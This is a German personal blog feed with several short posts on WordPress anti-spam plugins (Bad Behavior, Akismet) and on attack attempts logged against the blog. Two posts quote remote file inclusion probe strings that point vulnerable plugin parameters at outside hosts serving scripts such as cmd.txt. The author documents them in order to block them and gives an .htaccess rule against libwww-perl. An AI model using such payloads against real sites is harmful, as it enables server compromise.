Das ist schön, auch wenn ich schon ahnte, wie diese Visualisierungen für mein Blögchen aussehen würden:

Wie jetzt das? Praktisch gar kein erkannter Kommentar­spam? Doch, klar! Bloß dass Bad Behavior nahezu aus­nahmslos alles abfängt, bevor Akismet überhaupt einschreiten kann.

Akismet stellt bei mir also den zweiten Schutzwall dar, hinter BB, das praktisch alle maro­dierenden Bots/Spider/Skripte (Spam, Injection, Adress­sammler usw.) kassiert, die entweder gemäß seiner Blacklist als Schädlinge erkannt und eingestuft sind oder sich Header-mäßig unge­bührlich verhalten. Unglaublich wirkungsvoll. Selten dringt mal ein Kommentar­spam-Versuch durch, den in aller Regel Akismet zuverlässig abfängt, so dass meine dritte Schutz­instanz, die manuelle Erst­kommentar-Moderation, nur ganz selten zum Einsatz kommt. Damit erwische ich die (selten auftretenden) müden Existenzen, die glauben, ihre arm­seligen werblichen Botschaften und SEO-Zwang­haftig­keiten per manueller Bespammung loswerden zu müssen.

Kommentare von:

• Pepino am 20.10.2008

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)

/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.sexery.de/prc.gif?

Das betreffende Plugin ist ein Galerie-Plugin für WordPress namens myGallery, es ist schon etwas älter und die Sicherheits­lücke betrifft zudem ältere Versionen (wohl vor 1.4b5), aber womöglich setzt es einer meiner Leser noch ein. Es scheint, dass da irgendein krimineller Idiot versucht, ältere und inzwischen womöglich vernach­lässigte Blogs in seinem Sinne zu »bearbeiten«.

Die Einschleusungsversuche kommen über wechselnde IP-Adressen, der User-Agent ist dagegen immer »libwww-perl/5.810«, eine freie Perl-Bibliothek, die – auch mit allen anderen Versions­nummern – zumindest mir bisher ausschließlich in Form von Hackversuchen, Spamversuchen und unin­teressanten Suchrobotern begegnet ist. Weswegen es gut ist, dass Bad Behavior Zugriffe dieser Agents anhand seiner ›Blacklist‹ (blacklist.inc.php) unabhängig von der anhängenden Versionsnummer blockiert.

Das kriminelle Skript geht übrigens nach dem Gießkannen-Prinzip vor, es versucht einfach flächen­deckend über das Anhängen des o.a. Plugin-Pfades, aber mit wechselnden anzu­hängenden Dateien, in Blogs einzudringen. Ich hatte myGallery nie im Einsatz.

Wer Bad Behavior nicht einsetzt, kann die User-Agents »libwww-perl« in seiner .htaccess generell blockieren:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl.*$
RewriteRule ^.* – [F]

Anmerkung: die ersten beiden Zeilen, das Initialisieren der Rewrite-Engine, kann man sich eventuell sparen, wenn diese schon an früherer Stelle in der .htaccess mit genau diesen Zeilen gestartet wurde. Was tatsächlich der Fall ist, wenn man die »sprechenden« Artikel-URLs eingeschaltet hat.

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)

Ein kurzer Gegencheck mit meinem Test-Blog (da hatte ich bis vorhin noch BB 2.0.22 auf einem WP 2.5.1) zeigte, dass sie da noch vorhanden war. Nach einem Update auf die Version 2.0.23 war sie – schwupp – weg. Auch bei 2.0.24 bleibt sie weg. Lade ich wieder 2.0.22 hoch, ist sie wieder da.

Wenn ich versuche, diese Admin-Seite manuell per URL aufzurufen:

http://www.dieblogdomain.de/wp-admin/edit.php?page=bb2_manage

dann erhalte ich folgende Fehlermeldung:

»bb2_manage kann nicht geladen werden.«

Hat noch jemand von euch dieses Problem?
(Oder bin ich wieder einmal der einzige Dödel, der solche Probleme hat? Wie offenbar auch in Bezug auf mein nach wie vor ungelöstes Problem mit dem Aufruf des – leeren – ›Dashboards‹)

Kommentare von:

• kiesow am 1.10.2008
• myGallery-Hackversuche » dyingeyes weblog am 6.10.2008

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)

/de/index.php?p=http://www.pixeloutlet.com/cart/templates_c/can?
/de/index.php?p=http://www.hocke-kalkan.de/vi.txt??
/index.php?p=http://www.gumgangfarm.com/shop/data/id.txt?
/index.php?p=http://www.grupomlucas.es/modules/cmd31337.txt??
/index.php?p=http://www.urabaenlinea.com/phpbb2//language/lang_english/id.txt
//index.php?p=http://www.dv-media.co.uk//templates/31337.jpg??
//index.php?p=http://www.dv-media.co.uk//templates/php.jpg??
/index.php?p=http://www.gvnr.xpg.com.br/id.txt?t?
/index.php?p=http://www.tus-dom-esch.de/templates/l??
/index.php?p=http://aneuk.com/cmd.txt?
/2006/09/06//plugins/BackUp/Archive.php?bkpwp_plugin_path= …
… http://www.gieding.com/themes/safe.txt??
//plugins/BackUp/Archive.php?bkpwp_plugin_path= …
… http://www.gieding.com/themes/safe.txt??
/2006/09/06/wordpress-pingelei//plugins/BackUp/Archive.php?bkpwp_plugin_path= …
… http://www.gieding.com/themes/safe.txt??

Stammen von diversen IP-Adressen, ich vermute aber, dass das ein einziger Hirni (bzw. sein Bot?) ist, der offensichtlich ziemlich arge Gemütsschmerzen haben muss.

Kommentare von:

• Pepino am 8.2.2008

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)

Kommentare von:

• Pepino am 29.1.2008
• Boris (Autor) am 29.1.2008
• Pepino am 30.1.2008

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)

Wir werden schauen und sehen …

Kommentare von:

• Perun am 23.1.2008
• Boris (Autor) am 23.1.2008
• Thomas am 23.1.2008
• Perun am 23.1.2008
• Boris (Autor) am 23.1.2008
• Bad Behavior 2.0.13 » dyingeyes weblog am 28.1.2008

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)

Viel mehr muss ich da eigentlich nicht mehr sagen…

Kommentare von:

• Pepino am 12.1.2007
• Boris (Autor) am 12.1.2007

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)

Bad Behavior ist in Version 2.0.8 (zum Download) angekommen. Bei mir werkelt das Plugin nach wie vor höchst erquicklich und fängt alles per Fehlermeldung ab, was nach Spamversuch oder Adressen-Harvester riecht. Für mich ist es das Antispam-Plugin schlechthin.

Ich empfehle jedoch grundsätzlich die Übung, ein oder zweimal in der Woche kurz in seine Datentabelle (die es in der WordPress-Datenbank angelegt hat) zu schauen, um nachvollziehen zu können, was das Plugin aus welchen Gründen abgefangen hat. Die Auflösung (Zuordnung) der dort jeweils eingetragenen Fehlercodes findet sich in der Datei »responses.inc.php«. Mit ein wenig Übung bekommt man einen guten Blick dafür, bei welchen Einträgen man einmal genauer schauen sollte, ob es sich womöglich um ein »false positive« handelt.

Übrigens blockiert Bad Behavior u.v.a. auch einige allzu neugierige Spür-Bots, deren Absicht und Aufgabe ich als höchst zweifelhaft ansehe. (Wobei ich mir gerade diese dort genannten unerwünschten Zeitgenossen schon seit geraumer Zeit per IP-Sperrung aus meinen Seiten heraushalte)

Kommentare von:

• Philipp am 22.12.2006
• Boris (Autor) am 22.12.2006
• dyingeyes weblog » Bad, bad, bad… Behavior am 8.1.2007
• Quix0r am 7.2.2007

© Boris Stumpf - dyingeyes weblog 2004ff
Dieser Feed ist nur für die persönliche, nicht gewerbliche Nutzung bestimmt. Die Verwendung dieses Feeds auf kommerziellen Webseiten und/oder ohne Quellenangabe verstößt gegen die Lizenzbedingungen der Creative Commons License.
(Digitaler Fingerabdruck: 60c77d9e74d57f2299f42475f0e24778)